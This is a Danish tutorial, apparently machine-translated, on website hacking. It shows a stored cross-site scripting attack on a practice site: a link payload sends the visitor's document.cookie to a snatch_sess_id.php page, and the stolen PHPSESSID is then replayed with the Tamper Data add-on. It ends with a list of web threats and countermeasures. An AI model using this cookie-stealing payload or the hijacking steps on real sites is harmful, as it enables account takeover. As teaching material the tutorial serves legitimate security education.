Hvordan hacker man en hjemmeside? Teknikker til hacking af sider

Flere mennesker har adgang til internettet end nogensinde før. Dette har fået mange organisationer til at udvikle webbaserede applikationer, som brugere kan bruge online til at interagere med organisationen. Dårligt skrevet kode til webapplikationer kan udnyttes til at få uautoriseret adgang til følsomme data og webservere.

Du vil lære almindelige teknikker til hacking af websteder og de modforanstaltninger, der beskytter mod sådanne angreb.

Hvordan man hacker en hjemmeside

I dette praktiske scenarie for hacking af websteder vil vi kapre brugersessionen af ​​webapplikationen, der er placeret på www.techpanda.orgVi bruger cross-site scripting til at læse cookie-sessions-id'et og derefter bruge det til at efterligne en legitim brugersession.

Antagelsen er, at angriberen har adgang til webapplikationen og gerne vil kapre sessioner for andre brugere, der bruger den samme applikation. Målet med dette angreb kan være at få administratoradgang til webapplikationen, forudsat at angriberens adgangskonto er begrænset.

Trin 1) Åbn URL http://www.techpanda.org/.

Til øvelse anbefales det kraftigt at få adgang ved hjælp af SQL Injection. Se denne artikel om SQL-injektion for mere information om, hvordan du gør det.

Trin 2) Indtast loginoplysninger.

Login-e-mailadressen er admin@google.com, og adgangskoden er Password2010.

Trin 3) Tjek instrumentbrættet.

Hvis du er logget ind, får du vist følgende dashboard.

Trin 4) Indtast nyt indhold.

Klik på Tilføj ny kontaktperson, og indtast følgende som fornavn:

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Trin 5) Tilføj JavaManuskript.

Ovenstående kode bruger JavaScript. Det tilføjer et hyperlink med en onclick-hændelse. Når den intetanende bruger klikker på linket, henter hændelsen PHP cookie-sessions-ID og sender den til snatch_sess_id.php-siden sammen med sessions-id'et i URL.

Trin 6) Tilføj detaljer.

Indtast de resterende oplysninger som vist nedenfor, og klik på Gem ændringer.

Trin 7) Tjek instrumentbrættet.

Dit dashboard vil nu se ud som følgende skærm.

Trin 8) Tjek sessions-id.

Da cross-site-scriptet er gemt i databasen, indlæses det hver gang brugere med adgangsrettigheder logger ind. Når administratoren logger ind og klikker på hyperlinket med teksten Mørk, får de et vindue med sessions-id'et vist i URL.

Bemærk: Scriptet kan sende værdien til en fjernserver, hvor PHPSESSID'et er gemt, og derefter omdirigere brugeren tilbage, som om intet var sket.

Bemærk: Den værdi, du får, kan være anderledes end den, der vises her, men konceptet er det samme.

Sessionsefterligning ved hjælp af Firefox og Tamper Data-tilføjelse

Bemærk: Det klassiske Tamper Data-tilføjelsesprogram, der er vist nedenfor, installeres ikke længere på nuværende Firefox, men konceptet, det illustrerer – at opsnappe og ændre en HTTP-anmodning for at afspille en optaget session – er uændret.

Flowdiagrammet nedenfor viser de trin, du skal tage for at fuldføre denne øvelse.

• Du skal bruge den Firefox webbrowser til dette afsnit og tilføjelsesprogrammet Tamper Data.
• Åbne Firefox og installer tilføjelsen som vist i diagrammerne nedenfor.

• Søg efter manipulationsdata, og klik derefter på installer som vist ovenfor.

• Klik på Accepter og installer...

• Klik på Genstart nu, når installationen er færdig.
• Aktiver menulinjen i Firefox hvis den ikke vises.

• Klik på menuen Værktøjer, og vælg derefter Sabotagedata som vist nedenfor.

• Du får følgende vindue frem. Bemærk: Hvis vinduet ikke er tomt, skal du trykke på ryd-knappen.

• Klik på menuen Start sabotage.
• Skift tilbage til Firefox I webbrowseren skal du skrive http://www.techpanda.org/dashboard.php, og derefter trykke på Enter-tasten for at indlæse siden.
• Du vil få følgende pop op-vindue fra Tamper Data.

• Pop-up-vinduet har tre (3) muligheder. Med manipulationsfunktionen kan du ændre HTTP-headeroplysningerne, før de sendes til serveren.
• Klik på det.
• Du får følgende vindue.

• Kopier PHP-sessions-ID'et, du kopierede fra angrebet URL og indsæt den efter lighedstegnet. Din værdi burde nu se sådan ud.

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

• Klik på OK-knappen.
• Du får pop op-vinduet for manipulationsdata frem igen.

• Fjern markeringen i afkrydsningsfeltet, der spørger Vil du fortsætte med at manipulere?
• Klik på send-knappen, når du er færdig.
• Du burde kunne se dashboardet som vist nedenfor.

Bemærk: Vi loggede ikke ind; vi efterlignede en loginsession ved hjælp af PHPSESSID-værdien, som vi hentede ved hjælp af cross-site scripting.

Hvad er en webapplikation? Hvad er webtrusler?

En webapplikation (også kendt som hjemmeside) er en applikation baseret på klient-server-modellen. Serveren leverer databaseadgang og forretningslogikken. Den hostes på en webserver. Klientapplikationen kører på klientens webbrowser. Webapplikationer er normalt skrevet i sprog som f.eks. Java, C#, VB.Net, PHPog ColdFusion Markup Language osv. De databasemotorer, der bruges i webapplikationer, omfatter MySQL, MS SQL Server, PostgreSQL, SQLiteOsv

Top hjemmeside hacking teknikker

De fleste webapplikationer hostes på offentlige servere tilgængelige via internettet. Dette gør dem sårbare over for angreb på grund af den lette tilgængelighed. Følgende er almindelige trusler mod webapplikationer.

• SQL Injection – Målet med denne trussel kunne være at omgå login-algoritmer, sabotere dataene osv.
• Denial of Service Angreb – Målet med denne trussel kunne være at nægte legitime brugere adgang til ressourcen.
• Cross-site scripting (XSS) – Målet med denne trussel kunne være at injicere kode, der kan udføres i klientsidebrowseren.
• Cookie/sessionsforgiftning – Målet med denne trussel er at ændre cookies/sessionsdata af en angriber for at få uautoriseret adgang.
• Formmanipulation – Målet med denne trussel er at ændre formulardata såsom priser i e-handelsapplikationer, så angriberen kan få varer til reducerede priser.
• Code Injektion – Målet med denne trussel er at injicere kode som PHP, Pythonosv., der kan udføres på serveren. Koden kan installere bagdøre, afsløre følsomme oplysninger osv.
• defacement – Målet med denne trussel er at ændre den side, der vises på et websted, og omdirigere alle sideanmodninger til en enkelt side, der indeholder angriberens besked.

Hvordan beskytter du dit websted mod hacks?

En organisation kan vedtage følgende politik for at beskytte sig selv mod webserverangreb.

• SQL Injection – rensning og validering af brugerparametre, før de sendes til databasen til behandling, kan hjælpe med at reducere risikoen for angreb via SQL-injektion. Databasemotorer som MS SQL Server, MySQLosv. understøtter parametre og forberedte sætninger. De er meget sikrere end traditionelle SQL-sætninger.
• Afslag på serviceangreb – Firewalls kan bruges til at droppe trafik fra mistænkelige IP-adresser, hvis angrebet er et simpelt DoS-angreb. Korrekt konfiguration af netværk og et Intrusion Detection System kan også hjælpe med at reducere chancerne for, at et DoS-angreb lykkes.
• Cross-Site Scripting – validering og rensning af headere og parametre, der sendes via URL, formularparametre og skjulte værdier kan hjælpe med at reducere XSS-angreb.
• Cookie/sessionsforgiftning – dette kan forhindres ved at kryptere indholdet af cookies, timeoute cookies efter et stykke tid og knytte cookies til den klient-IP-adresse, der blev brugt til at oprette dem.
• Formmanipulation – dette kan forhindres ved at validere og verificere brugerinputtet, før det behandles.
• Code Injektion – dette kan forhindres ved at behandle alle parametre som data i stedet for eksekverbar kode. Sanering og validering kan bruges til at implementere dette.
• defacement - en god webapplikationssikkerhed Politikken bør sikre, at den forsegler de almindeligt anvendte sårbarheder for at få adgang til webserveren. Dette kan være en korrekt konfiguration af operativsystemet, webserversoftwaren og bedste sikkerhedspraksis ved udviklingping webapplikationer.

Tjek det her: 9 Bedste URL Scannere til at kontrollere, om et link er sikkert mod malware

Ofte Stillede Spørgsmål